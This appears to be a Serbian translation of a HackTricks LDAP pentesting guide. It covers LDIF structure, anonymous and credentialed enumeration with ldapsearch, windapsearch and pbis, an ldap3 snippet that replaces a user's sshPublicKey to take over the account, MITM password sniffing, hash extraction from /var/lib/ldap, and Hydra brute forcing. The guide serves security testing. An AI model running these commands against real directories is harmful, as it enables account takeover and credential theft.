17 KiB
389, 636, 3268, 3269 - Pentesting LDAP
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Upotreba LDAP (Lightweight Directory Access Protocol) je uglavnom za pronalaženje različitih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. On nudi pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP-om, jer ima manji kod.
LDAP direktorijumi su strukturirani tako da se mogu distribuirati na nekoliko servera, pri čemu svaki server sadrži replikovanu i sinhronizovanu verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi dostavio ujedinjeni odgovor zahtevaocu.
Organizacija LDAP direktorijuma podseća na hijerarhiju stabla, počevši od korenskog direktorijuma na vrhu. Ovo se grana na zemlje, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite odeljenja ili departmane, da bi na kraju došli do nivoa pojedinačnih entiteta, uključujući ljude i deljene resurse poput fajlova i štampača.
Podrazumevani port: 389 i 636 (ldaps). Globalni katalog (LDAP u ActiveDirectory-u) je podrazumevano dostupan na portovima 3268 i 3269 za LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Format za razmenu podataka
LDIF (LDAP Format za razmenu podataka) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Linije 1-3 definišu top level domen local
- Linije 5-8 definišu first level domen moneycorp (moneycorp.local)
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
Upisivanje podataka
Imajte na umu da ako možete da menjate vrednosti, možete izvršiti veoma interesantne akcije. Na primer, zamislite da možete promeniti informacije o "sshPublicKey" za vašeg korisnika ili bilo kog drugog korisnika. Veoma je verovatno da, ako ovaj atribut postoji, ssh čita javne ključeve iz LDAP-a. Ako možete da promenite javni ključ korisnika, moći ćete se prijaviti kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh-u.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Snifiranje jasnih lozinki
Ako se LDAP koristi bez SSL-a, možete snifirati lozinke u običnom tekstu u mreži.
Takođe, možete izvesti MITM napad u mreži između LDAP servera i klijenta. Ovde možete izvesti Napad na smanjenje nivoa sigurnosti tako da će klijent koristiti lozinke u običnom tekstu za prijavu.
Ako se koristi SSL, možete pokušati izvesti MITM kao što je gore pomenuto, ali nudeći lažni sertifikat, ako ga korisnik prihvati, možete smanjiti nivo autentifikacije i ponovo videti lozinke.
Anonimni pristup
Zaobilaženje provere TLS SNI
Prema ovom izveštaju, samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com), mogao je kontaktirati LDAP servis i izvući informacije kao anonimni korisnik:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonimne veze
LDAP anonimne veze omogućavaju neautentifikovanim napadačima da dobiju informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributi korisničkog naloga i politika lozinke domena. Ovo je zastarela konfiguracija, i od Windows Servera 2003, samo autentifikovani korisnici mogu pokrenuti LDAP zahteve.
Međutim, administratori su možda morali podesiti određenu aplikaciju da dozvoli anonimne veze i dali više pristupa nego što je bilo planirano, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
Validni kredencijali
Ako imate validne kredencijale za prijavu na LDAP server, možete izvući sve informacije o administratoru domena koristeći:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeracija
Automatizovano
Korišćenjem ovoga ćete biti u mogućnosti da vidite javne informacije (kao što je naziv domena):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Pogledajte enumeraciju LDAP-a sa pythonom
Možete pokušati enumerirati LDAP sa ili bez akreditacija koristeći python: pip3 install ldap3
Prvo pokušajte povezati se bez akreditacija:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Ako je odgovor True
, kao u prethodnom primeru, možete dobiti neke interesantne podatke o LDAP (kao što su naming context ili ime domena) serveru iz:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Jednom kada imate kontekst imenovanja, možete izvršiti neke uzbudljivije upite. Ovaj jednostavan upit trebao bi vam prikazati sve objekte u direktorijumu:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Ili izbaci ceo ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch je Python skripta koja je korisna za nabrajanje korisnika, grupa i računara iz Windows domena korišćenjem LDAP upita.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Proverite nulte akreditive ili da li su vaše akreditive validne:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Ako pronađete nešto što kaže da "bind mora biti završen", to znači da su pristupni podaci netačni.
Možete izvući sve sa domena koristeći:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Izvuci korisnike:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Izvuci računare:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci moje informacije:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Korisnike domena:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Administratori:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvucite Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Da biste videli da li imate pristup bilo kojoj lozinki, možete koristiti grep nakon izvršavanja jednog od upita:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
Možete preuzeti pbis sa ovog linka: https://github.com/BeyondTrust/pbis-open/ i obično se instalira u /opt/pbis
.
Pbis vam omogućava da lako dobijete osnovne informacije:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafički interfejs
Apache Directory
Preuzmite Apache Directory odavde. Možete pronaći primer kako koristiti ovaj alat ovde.
jxplorer
Možete preuzeti grafički interfejs sa LDAP serverom ovde: http://www.jxplorer.org/downloads/users.html
Podrazumevano je instaliran u: /opt/jxplorer
Godap
Možete pristupiti ovde: https://github.com/Macmod/godap
Autentifikacija putem kerberosa
Koristeći ldapsearch
možete autentifikovati putem kerberosa umesto putem NTLM koristeći parametar -Y GSSAPI
POST
Ako možete pristupiti fajlovima u kojima se nalaze baze podataka (mogu biti u /var/lib/ldap). Možete izvući heševe koristeći:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Možete hraniti John-a sa hešom lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
Konfiguracioni fajlovi
- Opšti
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks Automatske Komande
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.